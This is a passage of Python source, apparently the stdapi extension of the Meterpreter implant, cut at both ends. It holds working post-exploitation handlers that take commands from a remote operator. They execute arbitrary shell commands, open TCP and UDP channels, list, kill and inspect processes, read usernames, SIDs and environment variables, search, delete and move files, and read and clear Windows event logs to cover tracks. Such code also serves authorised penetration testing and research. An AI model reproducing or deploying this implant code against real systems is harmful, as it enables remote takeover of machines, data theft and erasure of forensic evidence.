    token_handle = ctypes.c_void_p()
    if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
        return None
    token_user_buffer = (ctypes.c_byte * 4096)()
    dw_returned = ctypes.c_uint32()
    result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
    ctypes.windll.kernel32.CloseHandle(token_handle)
    if not result:
        return None
    return cstruct_unpack(TOKEN_USER, token_user_buffer)

def get_username_from_token(token_user):
    user = (ctypes.c_char * 512)()
    domain = (ctypes.c_char * 512)()
    user_len = ctypes.c_uint32()
    user_len.value = ctypes.sizeof(user)
    domain_len = ctypes.c_uint32()
    domain_len.value = ctypes.sizeof(domain)
    use = ctypes.c_ulong()
    use.value = 0
    LookupAccountSid = ctypes.windll.advapi32.LookupAccountSidA
    LookupAccountSid.argtypes = [ctypes.c_void_p] * 7
    if not LookupAccountSid(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
        return None
    return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))

def get_windll_lang():
    if not hasattr(ctypes.windll.kernel32, 'GetSystemDefaultLangID'):
        return None
    kernel32 = ctypes.windll.kernel32
    kernel32.GetSystemDefaultLangID.restype = ctypes.c_uint16
    lang_id = kernel32.GetSystemDefaultLangID()

    size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, 0, 0)
    ctry_name = (ctypes.c_wchar * size)()
    kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, ctry_name, size)

    size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, 0, 0)
    lang_name = (ctypes.c_wchar * size)()
    kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, lang_name, size)

    if not (len(ctry_name.value) and len(lang_name)):
        return 'Unknown'
    return lang_name.value + '_' + ctry_name.value

def get_windll_os_name():
    os_info = windll_RtlGetVersion()
    if not os_info:
        return None
    is_workstation = os_info.wProductType == VER_NT_WORKSTATION
    os_name = None
    if os_info.dwMajorVersion == 3:
        os_name = 'NT 3.51'
    elif os_info.dwMajorVersion == 4:
        if os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS:
            os_name = '95'
        elif os_info.dwMinorVersion == 10:
            os_name = '98'
        elif os_info.dwMinorVersion == 90:
            os_name = 'ME'
        elif os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_NT:
            os_name = 'NT 4.0'
    elif os_info.dwMajorVersion == 5:
        if os_info.dwMinorVersion == 0:
            os_name = '2000'
        elif os_info.dwMinorVersion == 1:
            os_name = 'XP'
        elif os_info.dwMinorVersion == 2:
            os_name = '.NET Server'
    elif os_info.dwMajorVersion == 6:
        if os_info.dwMinorVersion == 0:
            os_name = ('Vista' if is_workstation else '2008')
        elif os_info.dwMinorVersion == 1:
            os_name = ('7' if is_workstation else '2008 R2')
        elif os_info.dwMinorVersion == 2:
            os_name = ('8' if is_workstation else '2012')
        elif os_info.dwMinorVersion == 3:
            os_name = ('8.1' if is_workstation else '2012 R2')
    elif os_info.dwMajorVersion == 10:
        if os_info.dwMinorVersion == 0:
            os_name = ('10' if is_workstation else '2016')

    if not os_name:
        os_name = 'Unknown'
    os_name = 'Windows ' + os_name
    if os_info.szCSDVersion:
        os_name += ' (Build ' + str(os_info.dwBuildNumber) + ', ' + os_info.szCSDVersion + ')'
    else:
        os_name += ' (Build ' + str(os_info.dwBuildNumber) + ')'
    return os_name

def getaddrinfo(host, port=0, family=0, socktype=0, proto=0, flags=0):
    addresses = []
    for info in socket.getaddrinfo(host, port, family, socktype, proto, flags):
        addresses.append({
            'family': info[0],
            'socktype': info[1],
            'proto': info[2],
            'cannonname': info[3],
            'sockaddr': info[4]
        })
    return addresses

def getaddrinfo_from_request(request, socktype, proto):
    peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
    if peer_host:
        peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
        peer_address_info = getaddrinfo(peer_host, peer_port, socktype=socktype, proto=proto)
        peer_address_info = peer_address_info[0] if peer_address_info else None
    else:
        peer_address_info = None

    local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value')
    if local_host:
        local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
        local_address_info = getaddrinfo(local_host, local_port, socktype=socktype, proto=proto)
        local_address_info = local_address_info[0] if local_address_info else None
    else:
        local_address_info = None
    return peer_address_info, local_address_info

def netlink_request(req_type):
    # See RFC 3549
    NLM_F_REQUEST    = 0x0001
    NLM_F_ROOT       = 0x0100
    NLMSG_ERROR      = 0x0002
    NLMSG_DONE       = 0x0003

    sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
    sock.bind((os.getpid(), 0))
    seq = int(time.time())
    nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
    sock.send(nlmsg)
    responses = []
    if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
        return responses
    raw_response_data = sock.recv(0xfffff)
    response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
    raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
    while response.type != NLMSG_DONE:
        if response.type == NLMSG_ERROR:
            break
        response_data = raw_response_data[:(response.len - 16)]
        responses.append(response_data)
        raw_response_data = raw_response_data[len(response_data):]
        if not len(raw_response_data):
            if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
                break
            raw_response_data = sock.recv(0xfffff)
        response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
        raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
    sock.close()
    return responses

def resolve_host(hostname, family):
    address_info = getaddrinfo(hostname, family=family, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
    address = address_info['sockaddr'][0]
    return {'family': family, 'address': address, 'packed_address': inet_pton(family, address)}

def windll_RtlGetVersion():
    if not has_windll:
        return None
    os_info = OSVERSIONINFOEXW()
    os_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
    if ctypes.windll.ntdll.RtlGetVersion(ctypes.byref(os_info)) != 0:
        return None
    return os_info

def windll_GetNativeSystemInfo():
    if not has_windll:
        return None
    sysinfo = SYSTEM_INFO()
    ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
    return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)

def windll_GetVersion():
    if not has_windll:
        return None
    dwVersion = ctypes.windll.kernel32.GetVersion()
    dwMajorVersion =  (dwVersion & 0x000000ff)
    dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
    dwBuild        = ((dwVersion & 0xffff0000) >> 16)
    return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))

@register_function
def channel_open_stdapi_fs_file(request, response):
    fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
    if fmode:
        fmode = fmode['value']
        fmode = fmode.replace('bb', 'b')
    else:
        fmode = 'rb'
    file_h = open(unicode(fpath), fmode)
    channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_tcp_client(request, response):
    peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
    retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
    if not peer_address_info:
        return ERROR_CONNECTION_ERROR, response
    connected = False
    for _ in range(retries + 1):
        sock = socket.socket(peer_address_info['family'], peer_address_info['socktype'], peer_address_info['proto'])
        sock.settimeout(3.0)
        if local_address_info:
            sock.bind(local_address_info['sockaddr'])
        try:
            sock.connect(peer_address_info['sockaddr'])
            connected = True
            break
        except:
            pass
    if not connected:
        return ERROR_CONNECTION_ERROR, response
    channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_tcp_server(request, response):
    local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
    local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
    local_address_info = getaddrinfo(local_host, local_port, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
    if not local_address_info:
        return ERROR_FAILURE, response
    local_address_info = local_address_info[0]
    server_sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
    server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    if local_address_info['family'] == socket.AF_INET6 and hasattr(socket, 'IPV6_V6ONLY'):
        server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
    server_sock.bind(local_address_info['sockaddr'])
    server_sock.listen(socket.SOMAXCONN)
    channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_udp_client(request, response):
    peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
    if not local_address_info:
        return ERROR_FAILURE, response
    sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
    sock.bind(local_address_info['sockaddr'])
    peer_address = peer_address_info['sockaddr'] if peer_address_info else None
    channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, peer_address))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_getenv(request, response):
    for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
        pgroup = bytes()
        env_var = env_var['value']
        env_var = env_var.replace('%', '')
        env_var = env_var.replace('$', '')
        env_val = os.environ.get(env_var)
        if env_val:
            pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
            pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
            response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_config_getsid(request, response):
    token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
    if not token:
        return error_result_windows(), response
    sid_str = ctypes.c_char_p()
    ConvertSidToStringSid = ctypes.windll.advapi32.ConvertSidToStringSidA
    ConvertSidToStringSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
    if not ConvertSidToStringSid(token.User.Sid, ctypes.byref(sid_str)):
        return error_result_windows(), response
    sid_str = str(ctypes.string_at(sid_str))
    response += tlv_pack(TLV_TYPE_SID, sid_str)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_getuid(request, response):
    if has_pwd:
        username = pwd.getpwuid(os.getuid()).pw_name
    elif has_windll:
        token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
        if not token:
            return error_result_windows(), response
        username = get_username_from_token(token)
        if not username:
            return error_result_windows(), response
    else:
        username = getpass.getuser()
    response += tlv_pack(TLV_TYPE_USER_NAME, username)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_localtime(request, response):
    localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime())
    direction = "-" if time.timezone > 0 else "+"
    localtime += " (UTC{0}{1})".format(direction, int(abs(time.timezone / 36)))
    response += tlv_pack(TLV_TYPE_LOCAL_DATETIME, localtime)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_sysinfo(request, response):
    uname_info = platform.uname()
    response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
    os_name = uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]
    lang = None
    if 'LANG' in os.environ:
        lang = os.environ['LANG'].split('.', 1)[0]
    if has_windll:
        os_name = get_windll_os_name() or os_name
        lang = (get_windll_lang() or lang)
    if lang:
        response += tlv_pack(TLV_TYPE_LANG_SYSTEM, lang)
    response += tlv_pack(TLV_TYPE_OS_NAME, os_name)
    response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch())
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_close(request, response):
    proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
    if not proc_h_id:
        return ERROR_SUCCESS, response
    proc_h_id = proc_h_id['value']
    if meterpreter.processes.has_key(proc_h_id):
        del meterpreter.processes[proc_h_id]
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_execute(request, response):
    cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
    raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
    if raw_args:
        raw_args = raw_args['value']
    else:
        raw_args = ""
    flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
    if len(cmd) == 0:
        return ERROR_FAILURE, response
    if os.path.isfile('/bin/sh'):
        args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
    else:
        args = [cmd]
        args.extend(shlex.split(raw_args))
    if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
        if has_pty:
            master, slave = pty.openpty()
            if has_termios:
                try:
                    settings = termios.tcgetattr(master)
                    settings[3] = settings[3] & ~termios.ECHO
                    termios.tcsetattr(master, termios.TCSADRAIN, settings)
                except:
                    pass
            proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
            proc_h.stdin = os.fdopen(master, 'wb')
            proc_h.stdout = os.fdopen(master, 'rb')
            proc_h.stderr = open(os.devnull, 'rb')
        else:
            proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            proc_h.echo_protection = True
        proc_h.start()
    else:
        proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    proc_h_id = meterpreter.add_process(proc_h)
    response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
    response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
    if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
        channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
        response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_getpid(request, response):
    response += tlv_pack(TLV_TYPE_PID, os.getpid())
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_kill(request, response):
    for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
        pid = pid['value']
        if has_windll:
            k32 = ctypes.windll.kernel32
            proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
            if not proc_h:
                return error_result_windows(), response
            if not k32.TerminateProcess(proc_h, 0):
                return error_result_windows(), response
        elif hasattr(os, 'kill'):
            os.kill(pid, 9)
        else:
            return ERROR_FAILURE, response
    return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_proc(request, response):
    for pid in os.listdir('/proc'):
        pgroup = bytes()
        if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
            continue
        cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
        cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
        status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
        status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
        status = {}
        for k, v in filter(lambda x: len(x) == 2, status_data):
            status[k[:-1]] = v.strip()
        ppid = status.get('PPid')
        uid = status.get('Uid').split('\t', 1)[0]
        if has_pwd:
            uid = pwd.getpwuid(int(uid)).pw_name
        if cmd:
            pname = os.path.basename(cmd.split(' ', 1)[0])
            ppath = cmd
        else:
            pname = '[' + status['Name'] + ']'
            ppath = ''
        pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
        if ppid:
            pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
        pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
        response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
    return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_ps(request, response):
    ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
    proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    ps_output = str(proc_h.stdout.read())
    ps_output = ps_output.split('\n')
    ps_output.pop(0)
    for process in ps_output:
        process = process.split()
        if len(process) < 4:
            break
        pgroup  = bytes()
        pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
        pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
        pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
        pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
        pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
        response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
    return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_windll(request, response):
    TH32CS_SNAPPROCESS = 2
    TOKEN_QUERY = 0x0008
    TokenUser = 1
    k32 = ctypes.windll.kernel32
    pe32 = PROCESSENTRY32()
    pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
    proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    result = k32.Process32First(proc_snap, ctypes.byref(pe32))
    if not result:
        return error_result_windows(), response
    while result:
        proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
        if not proc_h:
            proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
        exe_path = (ctypes.c_char * 1024)()
        success = False
        if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
            success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
        elif hasattr(k32, 'GetModuleFileNameExA'):
            success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
        if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
            dw_sz = ctypes.c_uint32()
            dw_sz.value = ctypes.sizeof(exe_path)
            success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
        if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
            success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
        if success:
            exe_path = ctypes.string_at(exe_path)
        else:
            exe_path = ''
        process_username = ''
        process_token_user = get_token_user(proc_h)
        if process_token_user:
            process_username = get_username_from_token(process_token_user) or ''
        parch = windll_GetNativeSystemInfo()
        is_wow64 = ctypes.c_ubyte()
        is_wow64.value = 0
        if hasattr(k32, 'IsWow64Process'):
            if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
                if is_wow64.value:
                    parch = PROCESS_ARCH_X86
        pgroup  = bytes()
        pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
        pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
        pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
        response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
        result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
        k32.CloseHandle(proc_h)
    k32.CloseHandle(proc_snap)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_get_processes(request, response):
    if os.path.isdir('/proc'):
        return stdapi_sys_process_get_processes_via_proc(request, response)
    elif has_windll:
        return stdapi_sys_process_get_processes_via_windll(request, response)
    else:
        return stdapi_sys_process_get_processes_via_ps(request, response)
    return ERROR_FAILURE, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_open(request, response):
    source_name = packet_get_tlv(request, TLV_TYPE_EVENT_SOURCENAME)['value']
    handle = ctypes.windll.advapi32.OpenEventLogW(None, source_name)
    if not handle:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_EVENT_HANDLE, handle)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_read(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    flags = packet_get_tlv(request, TLV_TYPE_EVENT_READFLAGS)['value']
    offset = packet_get_tlv(request, TLV_TYPE_EVENT_RECORDOFFSET)['value']
    adv32 = ctypes.windll.advapi32
    bytes_read = ctypes.c_ulong(0)
    bytes_needed = ctypes.c_ulong(0)
    if adv32.ReadEventLogW(handle, flags, offset, ctypes.byref(bytes_read), 0, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
        return error_result_windows(), response
    buf = ctypes.create_unicode_buffer(bytes_needed.value)
    if not adv32.ReadEventLogW(handle, flags, offset, buf, bytes_needed, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
        return error_result_windows(), response
    record = cstruct_unpack(EVENTLOGRECORD, buf)
    response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, record.RecordNumber)
    response += tlv_pack(TLV_TYPE_EVENT_TIMEGENERATED, record.TimeGenerated)
    response += tlv_pack(TLV_TYPE_EVENT_TIMEWRITTEN, record.TimeWritten)
    response += tlv_pack(TLV_TYPE_EVENT_ID, record.EventID)
    response += tlv_pack(TLV_TYPE_EVENT_TYPE, record.EventType)
    response += tlv_pack(TLV_TYPE_EVENT_CATEGORY, record.EventCategory)
    response += tlv_pack(TLV_TYPE_EVENT_DATA, buf.raw[record.DataOffset:record.DataOffset + record.DataLength])
    event_strings = buf.raw[record.StringOffset:].split('\x00', record.NumStrings)
    for event_string in event_strings:
        response += tlv_pack(TLV_TYPE_EVENT_STRING, event_string)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_clear(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    if not ctypes.windll.advapi32.ClearEventLogW(handle, None):
        return error_result_windows(), response
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_numrecords(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    total = ctypes.c_ulong(0)
    if not ctypes.windll.advapi32.GetNumberOfEventLogRecords(handle, ctypes.byref(total)):
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_EVENT_NUMRECORDS, total.value)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_oldest(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    oldest = ctypes.c_ulong(0)
    if not ctypes.windll.advapi32.GetOldestEventLogRecordW(handle, ctypes.byref(oldest)):
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, oldest)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_close(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    if not ctypes.windll.advapi32.CloseEventLogW(handle):
        return error_result_windows(), response
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_chdir(request, response):
    wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    os.chdir(unicode(wd))
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete(request, response):
    file_path = unicode(packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'])
    if has_windll:
        subprocess.call(unicode("attrib.exe -r ") + file_path)
    os.unlink(file_path)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete_dir(request, response):
    dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    dir_path = unicode(dir_path)
    if os.path.islink(dir_path):
        del_func = os.unlink
    else:
        del_func = shutil.rmtree
    del_func(dir_path)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete_file(request, response):
    file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    if has_windll:
        subprocess.call(unicode("attrib.exe -r ") + file_path)
    os.unlink(unicode(file_path))
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_expand_path(request, response):
    path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    if has_windll:
        path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
        path_out = (ctypes.c_char * 4096)()
        path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
        result = str(ctypes.string_at(path_out))
    elif path_tlv == '%COMSPEC%':
        result = '/bin/sh'
    elif path_tlv in ['%TEMP%', '%TMP%']:
        result = '/tmp'
    else:
        result = os.getenv(path_tlv, path_tlv)
    if not result:
        return ERROR_FAILURE, response
    response += tlv_pack(TLV_TYPE_FILE_PATH, result)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_move(request, response):
    oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
    newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    os.rename(unicode(oldname), unicode(newname))
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_copy(request, response):
    oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
    newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    shutil.copyfile(unicode(oldname), unicode(newname))
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux'))
def stdapi_fs_chmod(request, response):
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    mode = packet_get_tlv(request, TLV_TYPE_FILE_MODE_T)['value']
    os.chmod(unicode(path), mode)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_getwd(request, response):
    if hasattr(os, 'getcwdu'):
        wd = os.getcwdu()
    else:
        wd = os.getcwd()
    response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_ls(request, response):
    path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    path = os.path.abspath(unicode(path))
    glob = '*'
    if any((c in ['*','[','?']) for c in path):
        glob = os.path.basename(path)
        path = os.path.dirname(path)
    for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)):
        file_path = os.path.join(path, file_name)
        response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
        response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
        response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_md5(request, response):
    try:
        import hashlib
        m = hashlib.md5()
    except ImportError:
        import md5
        m = md5.new()
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    m.update(open(path, 'rb').read())
    response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_mkdir(request, response):
    dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    dir_path = unicode(dir_path)
    if not os.path.isdir(dir_path):
        os.mkdir(dir_path)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_search(request, response):
    search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
    if not search_root: # sometimes it's an empty string
        search_root = '.'
    search_root = unicode(search_root)
    glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
    recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
    if recurse:
        for root, dirs, files in os.walk(search_root):
            for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
                file_tlv  = ''
                file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
                file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
                file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
                response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
    else:
        for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
            file_tlv  = ''
            file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
            file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
            file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
            response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_separator(request, response):
